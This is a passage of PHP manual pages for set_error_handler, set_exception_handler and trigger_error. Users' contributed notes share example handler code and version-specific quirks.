docey 05-Apr-2006 09:50
if you wan't to know the current error-handler
set use something like this:

$current_errorhandler = set_error_handler("myerrorhandler");
restore_error_handler();

this will set your custom error_handler and return
the name of the previous set error handler. by
calling restore_error_handler, you remove your
custom error_handler and set the error_handler that
was set back again.

this way you can also switch back to php-default error-handler
without knowing how many error-handler already
are set, by using a loop till an empty string is
returned. because an empty string means
"no error-handler set" wich means php's default
errorhandler is set back.

like in this code below:

function restore_phperrorhandler()
{
 // get current error handler.
 $previous_errorhandler =
 set_error_handler("myerrorhandler");
 restore_error_handler();

 $max_loops = 20;
 $cur_loops = 0;

 // if current error handler is not already php's or fails.
    if(($previous_errorhandler != NULL) OR
      ($previous_errorhandler != "")){

        while($previous_errorhandler != ""){
         $cur_loops = $cur_loops + 1;

            // check if not exceeding infinit loop.
            if($cur_loops >= $max_loops){
              trigger_error("Restoring exceeds max. loops.",
              E_USER_WARNING);
             return false;
            }

            //switch to previous handler.
            restore_error_handler();

            // get its name and switch to it again.
            $previous_errorhandler =
            set_error_handler("myerrorhandler");
            restore_error_handler();

           // check if getting errorhandler failed.
           if($previous_errorhandler == NULL){
              trigger_error("Failed to get prev. error handler",
              E_USER_WARNING);
            return false;

            // empty string = php-default error handler
            }elseif($previous_errorhandler == ""){
             return true;
            }
        }
    }else{
      trigger_error("Current Error-Handler is default.",
      E_USER_NOTICE);
     return true;
    }
}

this function will loop and return true when no
error handler is left. leaving php-default handler
in controll again. this is usefull if you want to
disable your own error-handler but be sure that
php's is handling your error's and not any other
error-handler.
errd 30-Jan-2006 02:52
In errors to exceptions conversion below I found some incorrect stuff. File and line properties of Exception point to line and file where Exception is thrown, but not where real error is occured.

Impoved errors to exceptions converting:
+ Fixed filename of exception handled
+ Fixed code line of exception handled

<?php

class CustomException extends Exception {
    public function setLine($line) {
        $this->line=$line;
    }

    public function setFile($file) {
        $this->file=$file;
    }
}

function exceptionsHandler($code, $string, $file, $line) {
    $exception=new CustomException($string, $code);
    $exception->setLine($line);
    $exception->setFile($file);
    throw $exception;
}

set_error_handler('exceptionsHandler', E_ALL);

?>
24-Jan-2006 10:19
To honor the value of PHP's error_reporting() function, use:

<?
  if( ($level & error_reporting()) == 0 ) return;
?>
Gulopine 05-Jan-2006 06:36
Also note that even though the documentation states "errcontext will contain an array of every variable that existed in the scope the error was triggered in," that is not the case for $this in an instantiated object, as of PHP 5.1.1.

<?php

function error_function($errno, $errstr, $errfile, $errline, $errcontext) {
    print_r($errcontext);
}

set_error_handler('error_function');

class test_class {
    private $id;

    function __construct($id) {
        $this->id = $id;
        trigger_error('Test error');
    }
}

$test = new test_class(5);

?>

Result:

Array
(
    [id] => 5
)

I discovered this when trying to write an error handler that would log the class the error occured in, as it was triggered from a function in a parent class extended by several individual classes.
ia [AT] zoznam [DOT] sk 22-Sep-2005 01:33
as reply to dawiddr at gmail dot com:

Be careful with this when using __autoload(). When there is some error during parsing the file included in __autoload() so an exception is thrown, it results in following error:

Fatal error:  Function __autoload(ClassName) threw an exception of type 'Exception' in /network/webroot/dev/test.php on line 121

It is because exceptions can't be thrown in __autoload().
See __autoload() documentation (http://www.php.net/autoload) and bug #31102 (http://bugs.php.net/bug.php?id=31102&edit=3)
florian at siweho dot de 22-Aug-2005 09:26
@ mmtache at yahoo dot com
you have to use
if(error_reporting() != 0){
   .... (yourOwnHandler)

instead of
if(error_reporting()){
   ....

in PHP5. then operations like this "@fopen" won't show an error-message
eregon at eregon dot info 02-Aug-2005 06:35
It is not possible to handle fatal errors with own handler. Even if you have set your own handler, fatal error will be always handled by PHP's default handler. The reason is the script may be in unstable state after fatal error occurence (details here: http://marc.theaimsgroup.com/?l=php-dev&m=97673386418430&w=2).
dawiddr at gmail dot com 06-Jul-2005 01:01
In PHP5, if you want to have exceptions thrown instead of normal errors - you could use an error handler, which throw exceptions:

<?php

function handler($errno, $errstr, $errfile, $errline)
{
    print "Error handled!\n";
    throw new Exception($errstr, $errno);
}

set_error_handler('handler');

try
{
    print 2 / 0; // simple error - division by zero
    print "This will never be printed";
}
catch (Exception $e)
{
    print "Exception catched:\n";
    print "Code: ".$e->getCode()."\n";
    print "Message: ".$e->getMessage()."\n";
    print "Line: ".$e->getLine();
}

?>

Result:

Error handled!
Exception catched:
Code: 2
Message: Division by zero
Line: 6

As you see, exception is catched like it have been thrown by division by zero - in try/catch clause. But line numer and backtrace shows, that is was thrown by the error handler.
frank at ethisoft dot nl 01-Jun-2005 12:11
Perhaps it is worth mentioning that in
PHP5
both set_error_handler & set_exception_handler can be called with an array containing 2 arguments:
1) var  ==> object
2) string ==> name of handler function in object

EXAMPLE:
<?php
set_error_handler               (array($object, 'handler_function'));
set_exception_handler      (array($object, 'handler_function'));
?>

Both can point to the same object and handler_function so that both error and exception handling, which are very much alike usually, can be done by only 1 dedicated class.
jgiglio at netmar dot com 26-Mar-2005 05:02
set_error_handler also overrides the default behavior of postgresql which is to shoot HTML errors to the browser on a query failure or other database error.

I can't find a list of symbolic $errno names for postgres errors, but a normal "bad query" throws an errno of 2.

Be careful to not use an empty default case in your errno case statement if you use postgresql, and expect php to generate DB errors automatically.
Steffen Staehle 12-Jan-2005 11:29
Two notes on using set_error_handler() on behaviour that I noticed when migrating an application from php 4.2.1 to php 4.3.9 (I do not yet have php 5.0 available, this might not apply there!).

1. setting the system error handler

If you want to set the standard php error handler again, after having set your own error handler, this works in php 4.2.1 by passing in an empty string:

<?php

   function my_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // do something useful
      // ...
   }

   $last_handler = set_error_handler("my_handler");

   // after this, $last_handler == ""

   // restore standard error handler

   $last_handler = set_error_handler("");

   // after this, $last_handler == "my_handler"

?>

The very same code now raises an error in php 4.3.9:

   set_error_handler() expects argument 1, '', to be a valid callback

(Since the return value of the first call to set_error_handler() is still the empty string "", I don't see how this can be done any more. I don't really need this, because I use my own handlers as shown below, but it might be good to be aware of this.)

2. setting your own 'second level' handler

If you have set your own error handler, and want to replace it by another one (other than the standard php error handler) while it is being executed, note that the return value of set_error_handler when used INSIDE the error handler is "" instead of the name of the previous handler! This is not too surprising, because during execution of your self defined error handler, php replaces it with the standard php error handler to avoid infinite loops in case of problems inside the handler. This is only interesting if you want nested handlers as I do. Background of my design:

   1st level handler: log into DB
   2nd level handler: log into flat file (if log into DB fails)
   3rd level handler: print to stdout (if log into flat file fails) (this is the sytem handler, finally).

<?php

   function my_fallback_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // do something useful
      // ...

   } // my_fallback_handler

   function my_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // but we want to have a fallback handler different
      // to the standard error handler

      $last_handler = set_error_handler("my_fallback_handler");

      // I expected $last_handler == "my_handler"
      // (which it would outside my_handler())
      // but here it is the empty string ""

      // do something useful
      // ...

      // now set the 1st level handler again:
      // (do NOT use $last_handler as argument,
      // because it equals "")

      $last_handler = set_error_handler("my_handler");

   } // my_handler

   $last_handler = set_error_handler("my_handler");

?>
Sukender 10-Aug-2004 05:29
In PHP5, ou can ask for the default handler to be called after your custom handler by returning "false". See this pseudo-code :
<?
function MyHandler($errno, $errstr, $errfile, $errline, $errcontext) {
    my_handling_code;        // Do something, such as sending an email to the admin
    if (i_want_to_call_the_default_handler) return false;        // will invoke the default error handler just after
    else return true;        // This will NOT invoke it (= you've properly handled the error)
}
set_error_handler("MyHandler");
?>

I have not tested the functionality, but I think that the php.ini directive "log_errors" keeps working, but *only* when you call the default handler (= retrun false).

>>> Source : Mailing list thread about "re-invoking default error handler" at http://www.zend.com/lists/php-dev/200405/msg00491.html (be careful about the first post : "true" and "false" are switched - because it's only a proposition).
Joe 30-Jun-2004 07:26
When a custom error handler is set, the php.ini directive "log_errors" stops working.  I'm guessing to favor your custom handler.  You can still log your errors with the "error_log" function, but it doesn't happen when you have a custom error handler.
Cezary Tomczak 22-Apr-2004 10:25
Here is a script to debug / display errors in a nice way: http://gosu.pl/demo/ErrorHandler/ErrorHandler.zip

Example of displaying an error: http://gosu.pl/demo/ErrorHandler/example1.html
Example of displaying source of the file where the error appeared: http://gosu.pl/demo/ErrorHandler/example2.html

Displaying error: generates a backtrace, show file / line, show function / arguments (and values), source of the file
erwin at isiz dot nl 19-Apr-2004 03:51
@sijmen at digitized dot nl
That's not true. The reference operator does have effect, when used correctly.

Your code doesn't use the reference operator in the set_error_handler function, but it does when creating the new error object. In your case, you have to use the reference operator two times.

When calling the set_error_handler function

<?php
        set_error_handler(array(&$this, 'handler'));
?>

and when creating the class

<?php
$eh = &new error;
?>

In that case the same error class will be used and the output will be following:
Error!
!!

Hope this helps.
mightye (at) mightye (dot) org 12-Apr-2004 11:18
You can't use this functionality to catch parse errors in included, required, or eval()'d code.  Parse errors seem to exist on a deeper level.
sijmen at digitized dot nl 09-Apr-2004 04:47
@jayp at groovejob dot com
As I said before, the reference operator doesn't have any effect on the the error handler.

Proof of concepts:
http://trouby.digitized.nl/set_error_handler2.php
http://trouby.digitized.nl/set_error_handler2.php?source=1
jayp at groovejob dot com 03-Apr-2004 06:28
In response to sijmen at digitized dot nl:

Instead of

$eh = new error;

use

$eh =& new error();

The new operator returns a copy of the error object, so the error handler that is set in the constructor is tied to a different object instance than the instance returned by "new".  To make sure you are working with the exact same object instance that you think you are, it's best to use the reference object when creating instances of objects, like so:

$oMyObject =& new MyObject();

HTH,

Jay
sijmen at digitized dot nl 30-Mar-2004 04:23
@skyrl at free dot fr
It seems that the reference operator '&' doesn't have any effect. That's why I submitted the comment.

<?php
class error {
    var $error;

    function error() {
        $this->setIni();
    }

    function handler() {
        echo $this->error.'!!';
    }

    function setText($text) {
         $this->error = $text;
    }

    function setIni() {
        set_error_handler(array(&$this, 'handler')); // The '&' operator doesn't have any effect
    }
}

$eh = new error;
$eh->setText('Error! <br>'); // Will not get set

trigger_error('text', E_USER_ERROR); // prints '!!'
?>

Proof of concept
http://trouby.digitized.nl/set_error_handler.php
http://trouby.digitized.nl/set_error_handler.php?source=1
skyrl at free dot fr 30-Mar-2004 04:00
in reaction to the last '29-Mar-2004 11:13' post, just have to say that's normal the values are not "saved" in your error handler object. because the error object of the handler is not the same object as the one you instantiate...

You have to write set_error_handler(array(&this, 'my_error_handler')). The & is important for php to know that your error handler belongs to the same instance you allocate.
30-Mar-2004 01:13
It seems that when you're letting PHP know that you have a custom  error handler, you're not able to -update/set new- variables inside the class. Example:

<?php
class error {
   var $error;

   function error() {
       $this->setIni();    // this causes PHP to ignore all other changes to the class.
   }

   function handler() {
       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array($this, 'handler'));
   }
}

$eh = new error;
$eh->setText('Error! <br>');  // this will not be saved

trigger_error('text', E_USER_ERROR);
// prints '!!'
?>

How it should be done:
<?php
class error {
   var $error;

   function error() {
         // dont let PHP know of our error handler yet
   }

   function handler() {
       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array($this, 'handler'));
   }
}

$eh = new error;
$eh->setText('Error! <br>');  // this WILL work
$eh->setIni();  // call this method when you're ready with configuring the class. All other methods that will be called will have no effect on the errorHandling by PHP

trigger_error('text', E_USER_ERROR);
// prints 'Error! <br>!!'
?>
phpmanual at NO_SPHAMnetebb dot com 16-Nov-2003 05:19
Given this code:

class CallbackClass {
    function CallbackFunction() {
        // refers to $this
    }

    function StaticFunction() {
        // doesn't refer to $this
    }
}

function NonClassFunction() {
}

there appear to be 3 ways to set a callback function in PHP (using set_error_handler() as an example):

1: set_error_handler('NonClassFunction');

2: set_error_handler(array('CallbackClass', 'StaticFunction'));

3: $o =& new CallbackClass();
   set_error_handler(array($o, 'CallbackFunction'));

The following may also prove useful:

class CallbackClass {
    function CallbackClass() {
        set_error_handler(array(&$this, 'CallbackFunction')); // the & is important
    }

    function CallbackFunction() {
        // refers to $this
    }
}

The documentation is not clear in outlining these three examples.
Thomas Staunton 25-Mar-2003 01:11
The best way, I have found to use a class/object as an error handler is to define a class, add your desired error handling function into the constructor and then call set_error_handler() to the name of your function, thats it. e.g.

Class Error {

  Function Error() {
    Function HandleError($n, $m, $f, $l){
      print_r(debug_backtrace());
    }
    set_error_handler('HandleError');
  }
}
bob at db dot org 11-Mar-2003 10:09
The documentation on this page kindly offers the following on using (class) methods as error handlers:

Note:  Instead of a function name, an array containing an object reference and a method name can also be supplied. (Since PHP 4.3.0)

Since that's all it says about the subject, I thought I'd offer a sample implementation to show how this can be used:

<?php

        class error {

                var $conf;
                var $lang;

                function error($conf, $lang) {
                        $this->conf = $conf;
                        $this->lang = $lang;

                        set_error_handler(array(&$this, 'handler'));
                }

                function handler($no, $str, $file, $line, $ctx) {
                        echo '<pre>';
                        echo 'no   : ' . $no . "\n";
                        echo 'str  : ' . $str . "\n";
                        echo 'file : ' . $file . "\n";
                        echo 'line : ' . $line . "\n";
                        echo 'ctx  : ';
                        print_r($ctx);
                        echo '</pre>';
                }

        }
?>
mmtache at yahoo dot com 09-Feb-2003 10:06
The @ operator sets the error_reporting() value to 0.
This means you can use it with your own Error Handler too. for example:

function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars) {
   if (error_reporting())
echo $errmsg;
    }
set_error_handler("userErrorHandler");

function test(){
trigger_error("Error Message", E_USER_WARNING);
}

@test(); // doesn't output anything
roy 13-Jun-2002 01:08
Useful thing to note - if your error handler throws an error in itself, PHP is smart enough to use the deault error handler to handle it. This way, you don't end up in infinite flaming loops of death. This seems to be true, at least, in PHP 4.2.

('Course, there are ways to create your handler to handle even this situation, but it's probably best left this way for general purposes.)
publicmail at macfreek dot nl 31-May-2002 06:34
Note: If you have a custom error handler and use assert(), you MUST set:

assert_options (ASSERT_WARNING, 0);

Otherwise, no output whatsoever will ever be shown if an assert fails.
ned at wgtech dot com 01-Mar-2002 08:52
Just spent two days trying to find some method where a class can handle errors thrown at my convienience. After fighting with the pitfalls of this problem this is what I came up with. Hope it helps someone else save a little time. Its nice because all instances of this class will point to the same array that stores the errors.

class ApplicationObject {
    var $error_List;

    function ApplicationObject() {
        set_error_handler('trapError');
        $this->error_List = &trapError();
    }

}

function &trapError() {
    static $error_Vals = array();

    if (func_num_args()==5) { // Error Event has been passed
        $error_Vals[] = array(    'err_no' => func_get_arg(0), 'err_text' => func_get_arg(1), 'err_file' => func_get_arg(2), 'err_line' => func_get_arg(3), 'err_vars'=>func_get_arg(4));
    }
    if (func_num_args()==0) { // Setup call. Return reference
        return $error_Vals;
    }
}


Sets a user-defined exception handler function

  • « set_error_handler
  • trigger_error »
  • PHP Manual
  • Error Handling Functions
  • Sets a user-defined exception handler function

set_exception_handler

(PHP 5)

set_exception_handler — Sets a user-defined exception handler function

Description

callable set_exception_handler ( callable $exception_handler )

Sets the default exception handler if an exception is not caught within a try/catch block. Execution will stop after the exception_handler is called.

Parameters

exception_handler

Name of the function to be called when an uncaught exception occurs. This handler function needs to accept one parameter, which will be the exception object that was thrown. This is the handler signature:

void handler ( Exception $ex )

NULL may be passed instead, to reset this handler to its default state.

Return Values

Returns the name of the previously defined exception handler, or NULL on error. If no previous handler was defined, NULL is also returned.

Changelog

Version | Description
5.5.0 | Previously, if NULL was passed then this function returned TRUE. It returns the previous handler since PHP 5.5.0.

Examples

Example #1 set_exception_handler() example

<?php
function exception_handler($exception) {
  echo "Uncaught exception: " , $exception->getMessage(), "\n";
}

set_exception_handler('exception_handler');

throw new Exception('Uncaught Exception');
echo "Not Executed\n";
?>

See Also

  • restore_exception_handler() - Restores the previously defined exception handler function
  • restore_error_handler() - Restores the previous error handler function
  • error_reporting() - Sets which PHP errors are reported
  • information about the callback type
  • PHP 5 Exceptions

User Contributed Notes

Josef Spak 22-Sep-2014 07:34
On GNU/Linux, When an exception handler is called, PHP will end with exit status code 0 instead of 255.

You can change the exit status code with an exit() call at the end of your custom error handler.
Anonymous 09-Mar-2014 08:42
By default the stack trace is pretty unreadable, so you might want to wrap it in <pre> tags. Here I also wrap it in a <div> and set the class 'alert alert-danger' which are CSS classes in the Bootstrap CSS framework to style them red.
<?php

function exception_handler($exception) {
  echo '<div class="alert alert-danger">';
  echo '<b>Fatal error</b>:  Uncaught exception \'' . get_class($exception) . '\' with message ';
  echo $exception->getMessage() . '<br>';
  echo 'Stack trace:<pre>' . $exception->getTraceAsString() . '</pre>';
  echo 'thrown in <b>' . $exception->getFile() . '</b> on line <b>' . $exception->getLine() . '</b><br>';
  echo '</div>';
}

set_exception_handler('exception_handler');
Anonymous 25-Feb-2013 05:51
As of PHP 5.4.11....

Instead of:

Output: Fatal error: Exception thrown without a stack frame in Unknown on line 0

This snippet:

<?php
function error_handler($code, $message, $file, $line)
{
    if (0 == error_reporting())
    {
        return;
    }
    throw new ErrorException($message, 0, $code, $file, $line);
}
function exception_handler($e)
{
    // ... normal exception stuff goes here
    print $undefined; // This is the underlying problem
}
set_error_handler("error_handler");
set_exception_handler("exception_handler");
throw new Exception("Just invoking the exception handler");
?>

Now returns:

Fatal error: Uncaught exception 'ErrorException' with message 'Undefined variable: undefined' in C:\Apache2\htdocs\error\test.php:13 Stack trace: #0 C:\Apache2\htdocs\error\test.php(13): error_handler(8, 'Undefined varia...', 'C:\Apache2\htdo...', 13, Array) #1 [internal function]: exception_handler(Object(Exception)) #2 {main} thrown in C:\Apache2\htdocs\error\test.php on line 13

So it appears that exceptions thrown within exception handler now bypass exception handler.
pinkgothic at gmail dot com 01-Jun-2010 11:30
If you're handling sensitive data and you don't want exceptions logging details such as variable contents when you throw them, you may find yourself frustratedly looking for the bits and pieces that make up a normal stack trace output, so you can retain its legibility but just alter a few things. In that case, this may help you:

<?php

function exceptionHandler($exception) {

    // these are our templates
    $traceline = "#%s %s(%s): %s(%s)";
    $msg = "PHP Fatal error:  Uncaught exception '%s' with message '%s' in %s:%s\nStack trace:\n%s\n  thrown in %s on line %s";

    // alter your trace as you please, here
    $trace = $exception->getTrace();
    foreach ($trace as $key => $stackPoint) {
        // I'm converting arguments to their type
        // (prevents passwords from ever getting logged as anything other than 'string')
        $trace[$key]['args'] = array_map('gettype', $trace[$key]['args']);
    }

    // build your tracelines
    $result = array();
    foreach ($trace as $key => $stackPoint) {
        $result[] = sprintf(
            $traceline,
            $key,
            $stackPoint['file'],
            $stackPoint['line'],
            $stackPoint['function'],
            implode(', ', $stackPoint['args'])
        );
    }
    // trace always ends with {main}
    $result[] = '#' . ++$key . ' {main}';

    // write tracelines into main template
    $msg = sprintf(
        $msg,
        get_class($exception),
        $exception->getMessage(),
        $exception->getFile(),
        $exception->getLine(),
        implode("\n", $result),
        $exception->getFile(),
        $exception->getLine()
    );

    // log or echo as you please
    error_log($msg);
}

?>

If you're not a fan of sprintf() or the duplicate $exception->getFile() and $exception->getLine() calls you can of course replace that as you like - consider this a mere compilation of the parts.
Anonymous 16-Dec-2009 03:12
Things you should be aware of:

An exception handler handles exceptions that were not caught before. It is the nature of an exception that it discontinues execution of your program - since it declares an exceptional situation in which the program cannot continue (except you catch it).

Since it has not been catched your code signals it is not being aware of the situation and cant go on.

This implies: returning to the script is simply impossible when the exception handler has already been called, since an uncaught exception is not a notice. use your own debug- or notice-log-system for things like that.

Furthermore: While is is still possible to call functions from your script, since the exception handler has already been called exceptions bubbling from that piece of code won't trigger the exception handler again. php will die without leaving any information apart form "uncaught exception with unknown stack frame". So if you call functions from your script, make sure that you catch any exceptions that possibly occur via try..catch inside the exception handler.

For those of you who misinterpreted the essential meaning of the exception handler: it's only use is to handle the abortion of your script gracefully, e.g. in a project like facebook or wikipedia: render a nice error page, eventually hiding information which shall not leak into the public (instead you may want to write to your log or mail the sys-admin or stuff like that).

In other words: Redirecting all php-errors form an error-handler using exceptions - including notices - is a very dumb idea, if you do not intend having your script aborted everytime you didn't set a variable (for example).

my 2 cents.
Anonymous 11-Dec-2009 03:09
When an uncaught exception is handled, execution does NOT return to the script, but rather (unexpectedly, on my end anyway) terminates.

I am using set_error_handler() and set_exception_handler() in conjunction for a system I am currently developing (on v5.3.0 with Xampp). Lets say two E_USER_NOTICES are triggered, the script will die after the first one is processed.

<?php
    set_exception_handler( 'exc_handler' );
    function exc_handler($exception) {
        echo "Uncaught exception: " , $exception->getMessage(), "\n";
    }
    function errorone() {
        throw new Exception("Test 1");
    }
    function errortwo() {
        throw new Exception("Test 2");
    }
    function test() {
        errorone();
        errortwo();
    }
    test();
    test();
?>

Instead of printing (as I'd expect) "Uncaught exception: Text 1\nUncaught exception: Text 2\nUncaught exception: Text 1\nUncaught exception: Text 2\n"

It is only printed ONCE. I've tried a number of different things, but I can't figure out how to return execution to the script after the EXCEPTION HANDLER has run.

If anyone has a solution on how to return execution (hence, allow the script to log uncaught exceptions but continue processing) then PLEASE email me! Thanks!
joshua dot boyle-petrie at its dot monash dot edu 09-Jan-2009 08:44
Thanks to mastabog we know that throwing an exception within the exception handler will trigger a fatal error and a debugging nightmare.  To avoid throwing an exception within there should be easy.

However, if you use a custom error handler to convert errors to ErrorExceptions suddenly there are a multitude of new ways to accidentally throw exceptions within the exception handler.

<?php
function error_handler($code, $message, $file, $line)
{
    if (0 == error_reporting())
    {
        return;
    }
    throw new ErrorException($message, 0, $code, $file, $line);
}
function exception_handler($e)
{
    // ... normal exception stuff goes here
    print $undefined; // This is the underlying problem
}
set_error_handler("error_handler");
set_exception_handler("exception_handler");
throw new Exception("Just invoking the exception handler");
?>
Output: Fatal error: Exception thrown without a stack frame in Unknown on line 0

The best way I have found to avoid this is to wrap up everything in the exception handler in a try/catch block.
<?php
function exception_handler($e)
{
    try
    {
        // ... normal exception stuff goes here
        print $undefined; // This is the underlying problem
    }
    catch (Exception $e)
    {
        print get_class($e)." thrown within the exception handler. Message: ".$e->getMessage()." on line ".$e->getLine();
    }
}
?>
Output: ErrorException thrown within the exception handler. Message: Undefined variable: undefined on line 14

This speeds up debugging and offers some scalability to any other exceptions accidentally thrown within the exception handler.

Another solution is to restore the error handler at the beginning of the exception handler.  While this is a silver bullet in terms of avoiding the ErrorExceptions, debugging messages then rely on the error_reporting() level and the display_errors directive.  Why mention this?  It might be preferable for production code since we care more about hiding errors from users than convenient debugging messages.
marques at displague dot com 14-Apr-2008 04:19
frank,

Your exception handler is configured to be the handler for all exceptions, yet if a basic 'Exception' is thrown, your static method will error because 'Exception's do not have 'getException'.  Because of this I don't see a real purpose to making the uncaught handler a class that extends Exception.

I do like the idea of using static methods of a general Exception handling class.

<?php
class ExceptionHandler {
    public static function printException(Exception $e)
    {
        print 'Uncaught '.get_class($e).', code: ' . $e->getCode() . "<br />Message: " . htmlentities($e->getMessage())."\n";
    }

    public static function handleException(Exception $e)
    {
         self::printException($e);
    }
}

set_exception_handler(array("ExceptionHandler", "handleException"));

class NewException extends Exception {}
try {
  throw new NewException("Catch me once", 1);
} catch (Exception $e) {
  ExceptionHandler::handleException($e);
}

throw new Exception("Catch me twice", 2);
?>

Gives:
Uncaught NewException, code: 1<br />Message: Catch me once
Uncaught Exception, code: 2<br />Message: Catch me twice

There are much more interesting things that can be done like reformating and optionally displaying or emailing them.  But this class acts a nice container for those functions.
frank at netventures dot com dot au 06-Nov-2007 07:10
Hey all, i've just started to use the exception suite instead of the normal PHP error suite. For those of you looking for an object orientated way to do this without looking down at Glen and Sean's examples (Lesson 1: ALWAYS read the logs!), here you go:

<?php

class NewException extends Exception
{
    public function __construct($message, $code=NULL)
    {
        parent::__construct($message, $code);
    }

    public function __toString()
    {
        return "Code: " . $this->getCode() . "<br />Message: " . htmlentities($this->getMessage());
    }

    public function getException()
    {
        print $this; // This will print the return from the above method __toString()
    }

    public static function getStaticException($exception)
    {
         $exception->getException(); // $exception is an instance of this class
    }
}

set_exception_handler(array("NewException", "getStaticException"));
throw new NewException("Catch me!!!", 69);

?>

Let me know if i'm missing something obvious as I left my glasses at home and I just came back from the Melbourne cup (If I won then I wouldn't be at work still!).
parazuce at gmail dot com 10-Jul-2007 12:41
I've been messing around with this function, and have noticed you can pass an anonymous function (created with create_function()) through as the default handler, for example:

set_exception_handler(create_function('$e', 'exit("An unknown error occurred");'));

That snippet of code can be used if you simply want to suppress all exceptions that are not handled.  This can be a great thing, because secure data could possibly be leaked otherwise (for example, the default exception handler could output a snippet of your SQL code that was involved with the exception being thrown).

You will want to use this wisely, however (if at all).
reg dot php dot manual at entropy dot ch 09-May-2007 03:59
In my experience, the static keyword is crucial for error handlers which are methods of a class instead of free-standing functions.

    static function exceptionHandler($exception)

works but

    function exceptionHandler($exception)

doesn't and results in a "Fatal error: Exception thrown without a stack frame in Unknown on line 0" message.

"public" is optional as it is the default anyway (but it is probably clearer to write it explicitly).
Glen 03-Mar-2007 09:34
If you want a class instance to handle the exception, this is how you do it :

<?php
class example {
   public function __construct() {
       @set_exception_handler(array($this, 'exception_handler'));
       throw new Exception('DOH!!');
   }

   public function exception_handler($exception) {
       print "Exception Caught: ". $exception->getMessage() ."\n";
   }
}

$example = new example;

?>

See the first post (Sean's) for a static example.  As Sean points out, the exception_handler function must be declared public.
mastabog at hotmail dot com 08-Aug-2006 04:44
A behaviour not documented or discussed enough, yet pretty common is that is that if an exception is thrown from the global exception handler then a fatal error occurs (Exception thrown without a stack frame). That is, if you define your own global exception handler by calling set_exception_handler() and you throw an exception from inside it then this fatal error occurs. It is only natural though, as the callback defined by set_exception_handler() is only called on uncaught (unhandled) exceptions so if you throw one from there then you get this fatal error as there is no exception handler left (you override the php internal one by calling set_exception_handler()), hence no stack frame for it.

Example:

<?php

function myExceptionHandler (Exception $ex)
{
    throw $ex;
}

set_exception_handler("myExceptionHandler");

throw new Exception("This should cause a fatal error and this message will be lost");

?>

Will cause a Fatal error: Exception thrown without a stack frame

If you skip/comment the set_exception_handler("...") line then the internal PHP global handler will catch the exception and output the exception message and trace (as string) to the browser, allowing you to at least see the exception message.

While it is a very good idea to always define your own global exception handler by using the set_exception_handler() function, you should pay attention and never throw an exception from it (or if you do then catch it).

Finally, every serious coder should use an IDE with debugging capabilities. Tracking down an error like this becomes a trivial matter by using simple debugging "Step into" commands (I for one recommend Zend IDE v5.2 at the moment of this writing). I have seen numerous messages on the internet with people wondering why this message pops up.

Cheers

p.s. Other causes for this error which are somehow unrelated to this is when you throw an exception from a destructor (the reasons behind that are similar though, the global handler might no longer exist due to the php engine shutting the page down).
mc-php-doco at oak dot homeunix dot org 07-Apr-2006 06:41
This seems not to work when calling the PHP binary with the '-r' flag.

For example, if I run it like this:

    php -r '
      function exception_handler($exception) {
        echo "Uncaught exception: " , $exception->getMessage(), "\n";
      }

      set_exception_handler("exception_handler");

      throw new Exception("Uncaught Exception");
      echo "Not Executed\n";
    '

Or if I place it in a file and run it like this:

    php -r 'include "./tmp.php";'

I get a stack trace instead of having the function 'exception_handler' called.  If run it like this:

    php tmp.php

It works fine.

(Why run code from '-r'?  Sometimes it's useful to add stuff around the include like calls to microtime for benchmarks, or to include a library and then call a few functions from the library, all in an ad-hoc way without having to create new files.)

PHP versions 5.1.2 and 5.0.4.
ch at westend dot com 21-Feb-2006 04:06
It seems that although the Exception contains a backtrace itself, the stack for the debug_backtrace() function is empty when entering an exception handler. This is very inconvinient. See bug #36477.
sean at seanodonnell dot com 24-Oct-2005 01:48
Using the 'set_exception_handler' function within a class, the defined 'exception_handler' method must be declared as 'public' (preferrable 'public static' if you use the "array('example', 'exception_handler')" syntax).

<?php
class example {
    public function __construct() {
        @set_exception_handler(array('example', 'exception_handler'));
        throw new Exception('DOH!!');
    }

    public static function exception_handler($exception) {
        print "Exception Caught: ". $exception->getMessage() ."\n";
    }
}

$example = new example;

echo "Not Executed\n";
?>

Declaring the 'exception_handler' function as 'private' causes a FATAL ERROR.

[derick: red. updated statement about static a bit]


Generates a user-level error/warning/notice message

  • « set_exception_handler
  • user_error »
  • PHP Manual
  • Error Handling Functions
  • Generates a user-level error/warning/notice message

trigger_error

(PHP 4 >= 4.0.1, PHP 5)

trigger_error — Generates a user-level error/warning/notice message

Description

bool trigger_error ( string $error_msg [, int $error_type = E_USER_NOTICE ] )

Used to trigger a user error condition, it can be used in conjunction with the built-in error handler, or with a user defined function that has been set as the new error handler (set_error_handler()).

This function is useful when you need to generate a particular response to an exception at runtime.

Parameters

error_msg

The designated error message for this error. It's limited to 1024 bytes in length. Any additional characters beyond 1024 bytes will be truncated.

error_type

The designated error type for this error. It only works with the E_USER family of constants, and will default to E_USER_NOTICE.

Return Values

This function returns FALSE if wrong error_type is specified, TRUE otherwise.

Examples

Example #1 trigger_error() example

See set_error_handler() for a more extensive example.

<?php
if ($divisor == 0) {
    trigger_error("Cannot divide by zero", E_USER_ERROR);
}
?>

Notes

Warning

HTML entities in error_msg are not escaped. Use htmlentities() on the message if the error is to be displayed in a browser.

See Also

  • error_reporting() - Sets which PHP errors are reported
  • set_error_handler() - Sets a user-defined error handler function
  • restore_error_handler() - Restores the previous error handler function
  • The error level constants

User Contributed Notes

aydin dot kn12 at gmail dot com 21-Jun-2014 04:48
If error_type is E_USER_ERROR then trigger_error throw FATAL ERROR and script stopped after this line.

<?php

$msg = 'This is the test message for echo';

trigger_error('Error message', E_USER_ERROR); // Script stopped after this line...

echo $msg; // This line does not appear...

?>
PhpMyCoder 15-Jul-2010 12:18
For those of you looking to use your own file or line number in the error (possibly using debug_backtrace()) instead of the ones created by trigger_error(), here is a solution:
Create a custom function to handle E_USER_ERRORs that simply outputs the error type and message, while excluding the line number and file trigger_error() reports. You may also configure it to handle user warnings and notices if necessary (I did in the example below).

<?php
function error_handler($level, $message, $file, $line, $context) {
    //Handle user errors, warnings, and notices ourself
